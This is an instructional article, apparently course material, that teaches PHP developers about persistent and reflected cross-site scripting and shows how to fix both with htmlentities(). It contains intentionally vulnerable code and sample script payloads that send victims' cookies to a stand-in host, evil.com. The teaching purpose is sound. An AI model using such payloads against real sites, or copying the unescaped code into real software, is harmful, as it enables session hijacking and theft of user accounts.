Web Application Security, Part 1
Application-level web security is of increasing concern among web developers. This article outlines some types of security threats to your web application and how to solve those threats.
This is Part 1 of the Web Application Security article, geared toward the material covered in Module 2. For material covered in Module 3 (MySQL), see Web Application Security, Part 2. For material covered in Module 4 (JavaScript), see Web Application Security, Part 3.
Contents
Introduction to Application-Level Web Security
Every day, computer hackers around the world penetrate web applications, often for personal profits. You may find it hard to believe, but even high-profile web sites (banks, social media, even computer security companies) are vulnerable to application-level attacks!
Not only is it embarrassing to be "the one" who wrote the vulnerable code, but it could also cost you your job. As a prudent web developer, it's imperative that you take precautionary measures to make your application difficult to penetrate. Indeed, most of the time, if your site is well-written, hackers will just move on.
Here's the golden rule: Anything in your site that accepts user input, whether via a form, an AJAX request, a file upload, or even malformed links, can be used as an attack vector. NEVER TRUST USER INPUT!!! This can be summarized in the acronym FIEO, or Filter Input, Escape Output.
Cross-Site Scripting
TODO: Move this to Part 3.
Cross-Site Scripting, or XSS, is when an attacker targets an area of your application in which user-supplied input is included in application output. The attacker may use JavaScript to read confidential information and send it to his/her own servers.
There are two types of XSS attacks: persistent and reflected.
Persistent XSS
Persistent XSS occurs when a web site stores input in a database and displays it to victims later. A common vector for Persistent XSS are forum posts or shoutboxes.
For example, consider this code:
<?php
$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");
while($row=$res->fetch_assoc()){
echo "<p>".$row["content"]."</p>\n";
}
?>
In this example, content from the database is displayed verbatim to the end user. This is vulnerable to a Persistent XSS attack. Suppose the attacker typed the following code into the shoutbox:
How 'bout them Cardinals! <script> new Image().src = "http://www.evil.com/record_cookie?"+document.cookie; </script>
The victim would just see "How 'bout them Cardinals!", and everything would seem fine. However, the shout is also executing JavaScript code that sends the contents of the victim's cookies on your site to the attacker! The attacker can now hijack the victim's session and do bad things.
To solve this problem, you need to escape the output. In PHP, you can do this using the htmlentities()
function:
<?php
$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");
while($row=$res->fetch_assoc()){
$safe = htmlentities($row["content"]);
echo "<p>".$safe."</p>\n";
}
?>
Now, the script would appear as text to the user, and it will not execute. This Persistent XSS threat has been put to rest!
Reflected XSS
Reflected XSS is when a web page accepts input and then displays it immediately as output (without the database intermediate). A common vector for Reflected XSS attacks are search queries.
For example, consider the code:
<nowiki>
<?php
echo "<h1>Transaction History for: " . $_GET['username'] . "</h1>\n";
?>
</nowiki>
This is vulnerable to a Reflected XSS attack. The attacker could trick the victim into visiting this link:
http://www.bank.com/history.php?username=mothergoose+%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2Fwww.evil.com%2Frecord_cookie%3F%22%2Bdocument.cookie%3B%3C%2Fscript%3E
In some ways, this is more mysterious than Persistent XSS, because it's not clear what's going on. But this is the code that will be displayed on the page:
<h1>Transaction History for: mothergoose <script>new Image().src="http://www.evil.com/record_cookie?"+document.cookie;</script></h1>
Aye yie yie! To fix this, we again need to escape output:
<nowiki>
<?php
$safe_username = htmlentities($_GET['username']);
echo "<h1>Transaction History for: " . $safe_username . "</h1>\n";
?>
</nowiki>
And now our Reflected XSS vulnerability has been put to rest.
Real-Life Examples
- F-Secure, McAfee, and Symantec, January 2012 (Reflected XSS)
- eBay Germany, August 2011 (Reflected XSS)
- PayPal, October 2010 (Reflected XSS)
- American Express, October 2010 (Reflected XSS)
- Twitter, September 2010 (Persistent XSS)